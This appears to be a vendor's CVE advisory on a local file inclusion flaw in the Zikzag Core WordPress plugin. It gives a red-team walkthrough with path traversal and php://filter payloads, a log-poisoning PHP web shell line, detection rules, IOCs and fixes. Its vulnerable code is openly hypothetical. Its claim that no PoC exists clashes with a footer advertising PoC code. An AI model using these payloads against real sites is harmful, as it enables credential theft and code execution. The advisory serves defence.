CVE-2025-49886
Executive Summary
CVE-2025-49886 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Zikzag Core WordPress plugin (slug: zikzag-core) developed by WebGeniusLab. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or log files containing session data. The CVSS v3.1 score is 8.1 (High), with the attack vector being network-based, requiring no privileges or user interaction. The affected version is 1.4.5 and all prior versions. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority zero-day for WordPress site administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it is not managed by package managers like npm or PyPI. However, the risk to the supply chain is significant: compromised sites can be used to pivot to other plugins, themes, or the WordPress core. Administrators should treat this as a critical supply chain risk and immediately isolate any site running the affected plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 8.1 (High)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Full file read capability.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Critical. The combination of network exploitability, no authentication, and high confidentiality impact makes this a prime target for automated scanning and mass exploitation. The lack of a patch further elevates the risk.
Deep Dive & Mechanics
The vulnerability is a classic PHP Local File Inclusion (LFI) (CWE-98). The Zikzag Core plugin likely uses a dynamic include() or require() statement where the filename is constructed from user-supplied input (e.g., via a GET/POST parameter, cookie, or file upload) without proper sanitization or validation.
Example vulnerable code pattern:
<?php
$file = $_GET['file'];
include($file . '.php');
?>
An attacker can manipulate the file parameter to include arbitrary files using path traversal sequences like ../../../../etc/passwd%00 (null byte injection) or by using PHP wrappers like php://filter/convert.base64-encode/resource=wp-config.php.
Attack flow:
- Attacker identifies a parameter (e.g.,
page,template,file) in the plugin's URL. - Attacker sends a crafted request:
http://target.com/?page=../../../../etc/passwd%00 - The PHP
include()function processes the path, traverses directories, and includes the target file. - If the file contains PHP code, it is executed; otherwise, its contents are displayed (if not properly filtered).
Why it's dangerous: LFI can lead to:
- Reading sensitive files (
wp-config.php, database credentials). - Remote Code Execution (RCE) via log poisoning (e.g., injecting PHP code into Apache logs and including them).
- Server-side request forgery (SSRF) if combined with other wrappers.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code and the expected fix.
Vulnerable code (hypothetical):
<?php
// zikzag-core/includes/class-zikzag-core-loader.php
function load_template($template_name) {
$template_path = ZIKZAG_CORE_PATH . 'templates/' . $template_name . '.php';
if (file_exists($template_path)) {
include($template_path);
}
}
// Called via: load_template($_GET['template']);
?>
Patched code (expected):
<?php
function load_template($template_name) {
// Whitelist allowed templates
$allowed_templates = ['default', 'grid', 'list'];
if (!in_array($template_name, $allowed_templates)) {
wp_die('Invalid template.');
}
$template_path = ZIKZAG_CORE_PATH . 'templates/' . $template_name . '.php';
if (file_exists($template_path)) {
include($template_path);
}
}
?>
The fix involves:
- Implementing a strict whitelist of allowed filenames.
- Using
basename()andrealpath()to prevent path traversal. - Avoiding user input in file inclusion entirely.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with Zikzag Core <= 1.4.5 installed and activated.
- Knowledge of the vulnerable parameter (e.g.,
template,page,file).
Step 1: Identify the vulnerable endpoint. Use a web fuzzer (e.g., Burp Suite, ffuf) to find parameters that trigger file inclusion. Common patterns:
GET /?template=default
GET /?page=home
Step 2: Test for LFI. Send a request with path traversal:
GET /?template=../../../../etc/passwd%00
If the response contains the contents of /etc/passwd, the vulnerability is confirmed.
Step 3: Read sensitive files.
GET /?template=../../../../wp-config.php%00
Use PHP wrappers to bypass extension appending:
GET /?template=php://filter/convert.base64-encode/resource=../../../../wp-config
Step 4: Attempt RCE via log poisoning. Inject PHP code into the User-Agent header:
User-Agent: <?php system($_GET['cmd']); ?>
Then include the Apache access log:
GET /?template=../../../../var/log/apache2/access.log%00&cmd=id
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for path traversal patterns (
../,%00,php://). - Alert on requests to the plugin's endpoints with suspicious parameters.
- Use WAF rules to block LFI attempts.
Hunting:
- Search for
include,require,file_get_contentsin the plugin's source code. - Look for unsanitized
$_GET,$_POST,$_REQUESTvariables used in file operations.
Lab Setup:
- Install a local WordPress instance (e.g., using Docker).
- Download and install Zikzag Core v1.4.5 from the WordPress plugin repository.
- Activate the plugin and create a test page.
- Use curl to test LFI:
curl -v "http://localhost/?template=../../../../etc/passwd%00"
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing
../,%00,php://filter,php://input. - User-Agent strings with embedded PHP code (e.g.,
<?php system(...); ?>). - Unusual file paths in GET/POST parameters (e.g.,
/etc/passwd,/wp-config.php).
- HTTP requests containing
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified
.htaccessfiles with rewrite rules. - New user accounts or cron jobs.
- Unexpected files in the web root (e.g.,
Log IOCs:
- Apache/Nginx access logs showing path traversal attempts.
- PHP error logs with
include()failures or warnings.
Detection Engineering
YARA Rule
rule CVE_2025_49886_LFI_Detection {
meta:
description = "Detects LFI attempts targeting Zikzag Core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49886"
strings:
$path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
$php_wrapper = /php:\/\/(filter|input|stdin|output)/
$sensitive_file = /(etc\/passwd|wp-config\.php|\.env|config\.php)/
condition:
any of them
}
Sigma Rule
title: CVE-2025-49886 LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal and PHP wrapper usage in HTTP requests targeting Zikzag Core plugin
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-49886
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '../'
- '..\\'
- '%2e%2e%2f'
- '%2e%2e%5c'
- 'php://filter'
- 'php://input'
- '/etc/passwd'
- 'wp-config.php'
condition: selection
falsepositives:
- Legitimate use of path traversal in other applications (rare)
level: high
tags:
- attack.t1190
- cve.2025.49886
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49886 LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"%00"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2025-49886;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released. If the plugin is critical, consider replacing it with an alternative.
- Implement a Web Application Firewall (WAF) rule to block LFI patterns (path traversal, PHP wrappers).
- Restrict file permissions on sensitive files (e.g.,
wp-config.phpshould be 600 or 640). - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor (WebGeniusLab) must release a patched version that:
- Whitelists allowed filenames.
- Uses
basename()andrealpath()to sanitize input. - Avoids dynamic file inclusion based on user input.
- Apply the patch as soon as it becomes available.
Workaround (if patching is not possible):
- Modify the plugin's source code to add input validation (e.g., using
in_array()with a whitelist). - Use
.htaccessto block access to the vulnerable endpoint:
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|%00|php://) [NC]
RewriteRule ^ - [F,L]
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.